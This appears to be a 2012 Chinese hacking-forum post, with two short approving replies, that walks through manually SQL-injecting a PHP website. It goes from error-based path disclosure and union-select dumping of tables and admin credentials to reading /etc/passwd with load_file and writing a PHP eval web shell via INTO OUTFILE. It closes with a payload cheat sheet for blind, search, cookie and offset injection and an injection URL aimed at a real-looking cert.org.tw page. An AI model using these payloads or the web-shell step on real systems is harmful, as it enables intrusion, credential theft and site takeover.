找回密码
 立即注册
查看: 3744|回复: 2
打印 上一主题 下一主题

手工注入拿下一站

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-23 14:47:22 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~! i2 Q: L9 I$ D; _0 P  {5 F9 R/ @
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?" c9 g6 _( Z$ f3 ?6 |
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
5 i4 s4 g3 \8 h1 f4 F+ ?如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)2 ^& U! Y! x, o; z
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
7 [3 f+ J) F7 L1 [! Z0 A8 ~: A- s0 }这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
* Y8 @2 e; f7 ^& jWarning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in1 v- G0 s, A6 M2 _
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入$ T/ p6 ]: u/ F7 y' ]2 w
                        
$ b1 I: X8 P3 _  h2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,# I& P% o; S: S; h. t3 S
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3   ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意- ]) j) [4 n. |: ~
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息* K5 l) c: U! U7 E. F; d1 M
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。4 A  \' F$ B) t
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,. i1 `& z" m- J
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。; D, k. e  L2 z8 Z/ r! f
我就用的是第二个思路,4 c* d2 m8 V' N1 @
提交and 1=2 union select 1,2,3,4,table_name,6,7,8  from information_schema.tables where table_schema=database() limit 0,1--  % T, y: n5 p- q7 k4 c9 a
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,) H( C" ]( d% {. f# {
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--
, p5 i8 N/ d9 x注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。7 L4 R# C- F) u, ~+ L' ]; W" D
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
0 X0 J6 ]$ |+ P4 T: `. W: X4 i是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....
) k, e' G1 {9 j1 y! n提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --
; N0 ^9 S1 H; W然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,! L, {& i% j# E
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
/ r, |5 C6 J4 o& k下面是一些很普遍注入方式资料:
2 }4 N; Z4 L! a; l/ e. v注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
  i6 R( K. E% ~- i3 ~: ], I; Q+ [拆半法
2 w6 v) K, M: o3 C7 s- ~######################################
4 F3 B5 V  ]6 v% W! g) Band exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
2 I) b% D0 G3 aand exists (select * from admin)
; J, ~9 C8 U1 y( l2 ~4 Wand exists(select id from admin)( u/ Q8 R" D) t
and exists(select id from admin where id=1)) p1 I, A9 V6 J- {+ m7 H& U6 a
and exists(select id from admin where id>1)
/ v/ U8 i9 g( ~# b% g/ {+ j然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 & M/ k, a3 w6 c: _4 B
and exists (select username from admin)7 N5 Z/ K  w* m2 b* h
and exists (select password from admin)# T: X/ |; l0 Y5 H8 t
and exists (select id from admin where len(username)<10 and id=1)
( x5 _9 M& R, I, Xand exists (select id from admin where len(username)>5 and id=1)
9 H) y) _) k) v; S" dand exists (select id from admin where len(username)=6 and id=1)
% V$ R, x2 Y' p+ Nand exists (select id from admin where len(password)<10 and id=1)
" o6 j6 J3 J2 J3 V9 _- jand exists (select id from admin where len(password)>5 and id=1)2 i, Y! F$ D; [3 o7 }9 t
and exists (select id from admin where len(password)=7 and id=1)
0 h9 o+ Y8 j# j9 L! @; {and (select top 1 asc(mid(username,1,1)) from admin)=97  O* t# ^( I: j' j3 x& |
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
# i) }% t$ {9 l; q9 @8 o+ a- r猜第二位把username,1,1改成username,2,1就可以了。  I% {6 ^4 V$ O& F/ S
猜密码把username改成password就OK了* w  p" E2 U4 |" Y
##################################################) N; K1 J2 S) z& J& }( t) K
搜索型注入
: {- {! y3 Z( n3 W( E##################################
) K- Z3 U; _& V6 y5 k/ w# }; O%' and 1=1 and '%'='
! B6 A# [2 j2 |' B5 E+ t: l%' and exists (select * from admin) and '%'='5 ?( x9 e+ h, s7 E3 e  e- _
%' and exists(select id from admin where id=1) and '%'='
; L6 F4 s" p1 v  j%' and exists (select id from admin where len(username)<10 and id=1) and '%'='; z7 f4 D2 m8 b+ W
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
( ^' r* r5 x- T9 |%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
, \8 Z5 f# w1 K( \0 d: x5 T5 ~这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='9 I7 v& ^& n8 T
对于MSSQL数据库,后面可以吧 and '%'='换成--
- s6 R" Y& {1 F# W  T- F7 y! g还有一点搜索型注入也可以使用union语句。
. C6 Y. T: d9 R2 f- m6 ?" D########################################################; h4 a: k9 E" H' O: r4 }- Y
联合查询。, W- [, P* |+ V
#####################################1 x8 e, F8 q7 g8 }2 Z0 v) _$ Z  t
order by 10+ j& p: |0 D5 f. [6 y8 L
and 1=2 union select 1,2,3,4,5,6,7,8,9,10
* k( Q: v$ X7 rand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin$ A: _. [+ r3 X5 J$ d8 {
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1' C& p0 v1 y: c5 u/ }9 P
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)
7 e; x) j! w& c" P' t9 Z+ C' @###################################4 P. y  z1 _& r0 m* Z* m
cookie注入
" j8 G2 {/ U$ v+ s###############################
9 q) O) ?) K9 Y& v/ U. U, x. d4 Q* Ehttp://www.******.com/shownews.asp?id=1272 \2 }0 ~7 b" z
http://www.******.com/shownews.asp
0 F. X; c% t5 Q% D/ N2 Lalert(="id="+escape("127"));
# z& i/ l) T# A& V3 W' Halert(="id="+escape("127 and 1=1"));0 h1 f2 l% X" |8 ]
alert(="id="+escape("127 order by 10"));
  z7 Y1 E) X( G: o' c: H+ U; Walert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));6 z$ z1 d8 L& H. d# {3 v: o1 e
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));* G5 H' ]; h  ~% L. Y
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。3 L4 q+ u$ c. h/ k
###################################( E: D6 R. l0 C% a. b5 @& _1 q1 B! m
偏移注入
0 M/ Q3 x$ a7 j& Q- q###########################################################
! ?3 r! x* S1 q% \/ z4 dunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin* P9 F7 L4 t' I! \9 ~
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin) U& q4 i4 Y* c6 v, @9 \
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)4 a, x+ w( N6 L3 z" _5 n* P! W& E
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)4 N% i1 C/ ]1 v& R  n3 `9 K! Z' F
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)7 G3 c; f& m( w% t$ h
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
. l; k# c* o6 T5 `7 e5 l6 s2 f& ?  P! d+ Punion select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on1 ]6 w9 ]" E) o0 J4 F8 S
a.id=d.id); I5 ^5 [+ ^- L! H8 o
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)% ?/ q+ y* n1 p1 G/ {
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) . L" a5 ]- h6 ?. l* G1 X
  ; k- D; N" N9 b5 F9 w3 L9 m
============================================================================================================
$ h( B4 m3 X, o6 H& T9 t1.判断版本7 }% G* Q) D+ H' g+ E
and ord(mid(version(),1,1))>51- J5 [1 i  \  y; B$ L9 k7 H) _* v
返回正常,说明大于4.0版本,支持ounion查询
5 t. b- a' r$ _" c) I2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
( q- N2 g' b$ ^and 2=4 union select 1,2,3,4,5,6,7,8,9--
( x2 ]1 @; K: j6 n3.查看数据库版本及当前用户,8 D6 ?/ E8 o- F4 x* f1 J
and 2=4 union select 1,user(),version(),4,5,6,7,8,9--
7 S% E8 E9 X/ b6 j1 ]; ?3 @  {数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,! R# |0 T/ K+ O9 v9 p" ?
4.判断有没有写权限, d0 X# N7 X! w: V5 I  i0 U8 E6 {
and (select count(*) from MySQL.user)>0--
: b7 D% |1 v5 ]4 z- L3 q5 \/ @" V% c5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
: I- e, T5 j  H1 u. V! B用不了这个命令,就学习土耳其黑客手法,如下
! s* ?. ~! \- h, J. k$ Sand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
1 z0 Q) t6 t; V6.爆表,爆库7 k$ H" ^, k+ m
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--- r8 h5 z' y' [
7.爆列名,爆表; k6 w/ a, u9 k  W
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
; [6 A8 v5 L5 ]+ b& F8.查询字段数,直接用limit N,1去查询,直接N到报错为止。2 R" {  H$ N$ v2 s' ?
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--$ i% }7 f6 ]4 r; z
9.爆字段内容
: _* k% S9 j& ^and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
( p: J( S( }9 |* c4 Ihttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
回复

使用道具 举报

沙发
发表于 2012-9-24 21:40:46 | 只看该作者
非常好的归纳。坐下慢慢看~
回复 支持 反对

使用道具 举报

板凳
发表于 2012-9-25 18:53:39 | 只看该作者
谢谢分享,学习思路啊
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表